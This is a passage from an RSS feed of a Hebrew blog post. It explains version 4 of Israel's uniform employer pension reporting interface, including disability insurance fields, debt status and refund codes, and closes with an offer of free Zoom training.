<li>תשלום ביתר לעובד לאחר עזיבת עבודה</li>
<li>סוג מוצר שגוי</li>
<li>הפקדה לעובד שגוי</li>
<li>הפקדה בגין חודש שכר שגוי</li>
<li>תיקון טעות בחישוב השכר</li>
<li>הפקדה לחברה מנהלת לא נכונה</li>
<li>עובד עבר לקופת גמל אחרת</li>
<li>הסכם קיבוצי</li>
<li>הפקדה ביתר לרכיב</li>
<li>החזר למעסיק בגין תשלום פרמיית א.כ.ע בעודף</li>
</ul>
<p><strong>דיווח שוטף</strong></p>
<p>דיווח אובדן כושר עבודה מעסיק</p>
<ul>
<li>מעסיק רשאי, בכפוף לכל דין, לקבוע מסגרת כוללת לתשלום, עבור שני הרכיבים בהתקיים כל התנאים הבאים:</li>
</ul>
<ol>
<li>נקבע בהסכם העבודה כי התשלום לכיסוי ביטוחי למקרה של אובדן כושר עבודה משולם בנפרד מרכיב תגמולי המעסיק;</li>
<li>ההפקדה למרכיבי חשבון קופת הגמל של העובד ולאובדן כושר עבודה, ככל שבחר בו העובד, מבוצעת לאותו גוף מוסדי;</li>
<li>גובה השכר המדווח לרכישת כיסוי אבדן כושר עבודה זהה לגובה השכר המדווח לעניין מרכיב חשבון &#8211; תגמולי המעסיק.</li>
</ol>
<ul>
<li>הפקיד מעסיק לכיסוי ביטוחי למקרה של אובדן כושר עבודה בהתאם לתנאים הקבועים בסעיף קטן (א), יהיה רשאי לדווח בקובץ &#8220;ממשק מעסיקים – דיווח שוטף&#8221; בשדה &#8220;סוג הפרשה&#8221; בקוד &#8220;תגמולי מעסיק&#8221; כי שיעור ההפקדה לעניין תגמולי המעסיק הוא 5%, ובקוד &#8220;אבדן כושר עבודה&#8221; את שיעור התשלום המירבי לרכיב אובדן כושר העבודה, ובלבד ששיעור כאמור לא יפחת מ-1.5%.</li>
<li>התקבל דיווח בגוף מוסדי בתנאים שבסעיף (א) ו-(ב) לעיל, יגבה הגוף המוסדי את העלות בשל כיסוי אובדן כושר עבודה בהתאם לתנאי הפוליסה, ויתרת התשלום תועבר לרכיב תגמולי המעסיק. ככל שההפקדה למרכיב אבדן כושר עבודה, אינה מספיקה על מנת לרכוש את כיסוי אובדן כושר העבודה בהתאם לקבוע בתנאי הפוליסה, יתריע על כך הגוף המוסדי בפני המעסיק ב&#8221;ממשק היזון חוזר מסכם&#8221; ואף יציין את שיעור ההפקדה הנדרש לצורך רכישת הכיסוי בהתאם לפוליסה.</li>
</ul>
<p>דיווח עובד קיים לקרן פנסיה ברירת מחדל:</p>
<ul>
<li>עובד קיים של מעסיק מבקש להצטרף לקרן ברירת מחדל, בהתאם להוראות חוזר הצטרפות לקרן פנסיה או לקופת גמל יש לצרף תצהיר עובד- נספח ז</li>
</ul>
<p>עובד חדש:</p>
<ul>
<li><strong>סעיף 14 לעובד</strong><br />
מטרת השדה &#8211; להציג לגוף המוסדי האם קיים לעובד סעיף 14 בתנאי ההעסקה או לא.<br />
אם נבחר בשדה &#8220;סטטוס עובד בחודש משכורת&#8221; -עובד חדש, יש להעביר מידע בשדה זה</li>
</ul>
<p>סוג תקבול:</p>
<p>נוספו ערכים חדשים</p>
<ul>
<li>חד פעמי &#8211; השלמת פיצויים עד שכר מבוטח כפול וותק</li>
<li>חד פעמי &#8211; הפקדה לפיצויים מעל שכר מבוטח כפול וותק</li>
</ul>
<p>&nbsp;</p>
<p><strong>היזון מסכם</strong></p>
<p>צפי לשינוי אובדן כושר עבודה</p>
<ul>
<li>שיעור כיסוי אכע</li>
<li>שיעור הפרשה עתידי</li>
<li>תאריך עדכון צפוי</li>
<li>סיבת עדכון התעריף</li>
</ul>
<p>חלה חובה על גוף מוסדי המנהל קופת ביטוח להציג בשדה זה את המועד הצפוי לעדכון תעריף א.כ.ע, וזאת החל מהמועד שבו ידוע לגוף המוסדי מועד השינוי הצפוי בתעריף ולכל הפחות 3 חודשים לפני השינוי האמור. גוף מוסדי ידווח את התאריך האמור עד למועד שבו עודכן השינוי בפועל בפוליסה של העובד.<br />
הערה: שדה זה רלבנטי לקופות ביטוח שבהן ההפקדה לרכיב א.כ.ע נעשית בנפרד מרכיב התגמולים</p>
<p>פרטי סוכן הביטוח :</p>
<p>ככל שקיים לעובד סוכן ביטוח הקופה תדווח במסגרת ההיזון המסכם את פרטיו של סוכן הביטוח</p>
<ul>
<li>שם בעל רישיון</li>
<li>כתובת דוא&#8221;ל &#8211; בעל רישיון</li>
</ul>
<p>סטטוס חובות:</p>
<p>הקופה תדווח במסגרת ההיזון המסכם השוטף סטטוס חובות ככל שקיימים באותו חודש רמה של עובדים</p>
<ul>
<li>חודש שכר אחרון בו הועבר תשלום</li>
<li>מספר חודשי חוב לעובד</li>
<li>א. ככל שלא הועבר תשלום או דיווח כלשהו ביחס לאחד מעובדי המעסיק בתקופת הדיווח;<br />
ב. ככל שלא הועבר תשלום לפוליסת א.כ.ע של עובד המשולמת על ידי המעסיק;<br />
יובהר כי ככל שהועבר דיווח על ידי מעסיק על הפסקת ההפקדה לרבות סיבת ההפסקה (כדוגמת עזיבת עבודה/חל&#8221;ד/חל&#8221;ת) אין להעביר דיווח בבלוק זה.</li>
</ul>
<p>שדה &#8220;רשומה נקלטה &#8220;:</p>
<p>נוספו ערכים חדשים</p>
<ul>
<li>השבת כספים יזומה מגוף מוסדי למעסיק</li>
<li>רשומה נקלטה &#8211; נמצא חוסר בא.כ.ע</li>
</ul>
<p>החליט גוף מוסדי להשיב כספים למעסיק באופן יזום ביחס לרשומה מסוימת שדווחה בממשק מעסיקים יבצע זאת בכפוף להנחיות הבאות:<br />
א. שלב א&#8217; &#8211; ניתנו 3 היזונים חוזרים שבועיים <u>עם קוד שגיאה 3 (רשומה עברה לטיפול המעסיק) </u>בהם פירט גוף מוסדי למעסיק את מהות השגיאה ברשומה;<br />
ב. שלב ב&#8217; &#8211; ניתנו למעסיק 3 היזונים חוזרים <u>עם קוד שגיאה 4 (השבת כספים יזומה מגוף מוסדי למעסיק) </u>בהם תפורט סוג ההתראה: התראה ראשונה, שנייה, השבה בפועל;<br />
למען הסר ספק יובהר כי אין באמור לעיל בכדי לקבוע חובה כלשהי על גוף מוסדי להשבת כספים למעסיק. מטרת הקוד הינה אך ורק יצירת סדר בהליך השבת הכספים למעסיק.</p>
<p>כפי שניתן לראות בוצעו לא מעט שינויים ושיפורים חשובים מאד אך יחד עם זאת הצלחת הגרסה החדשה תלויה בכל אותם אנשי המקצוע ( חשבי וחשבות השכר , רו&#8221;ח , יועצי מס וכל מי שעוסק בדיווח עצמו ) שיילמדו ויתמקצעו בגרסה החדשה</p>
<p><strong>הצלחת הגרסה החדשה זה אומר קליטה טובה יותר של הכספים ולכן שמירה על זכויות החוסכים ( העובדים ) מה שיוביל בסופו של דבר ליציאה לפנסיה עם מלוא הזכויות וקצבה שתשמור על רמת חיים נאותה בשנות הפנסיה </strong></p>
<p><strong>אנחנו בעוקץ פנסיה קיימנו בחודש שעבר הדרכות זום על הגרסה החדשה ונמשיך לעשות זאת גם בחודשים הקרובים גם לאחר כניסת הגרסה לתוקף , השתתפות בהדרכות הנ&#8221;ל הם ללא עלות אך נדרש רישום מראש ניתן לעשות זאת דרך האתר שלנו או ליצור קשר איתנו.</strong></p>
<p><strong>שיהיה לכולנו בהצלחה בגרסה החדשה </strong></p>
<p><strong> </strong></p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/05/25/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%94%d7%90%d7%9d-%d7%90%d7%aa%d7%9d/">גרסה 4 למבנה האחיד- ממשק מעסיקים , האם אתם מוכנים ?</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2022/05/25/%d7%92%d7%a8%d7%a1%d7%94-4-%d7%9c%d7%9e%d7%91%d7%a0%d7%94-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9e%d7%9e%d7%a9%d7%a7-%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%94%d7%90%d7%9d-%d7%90%d7%aa%d7%9d/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
	</channel>
</rss>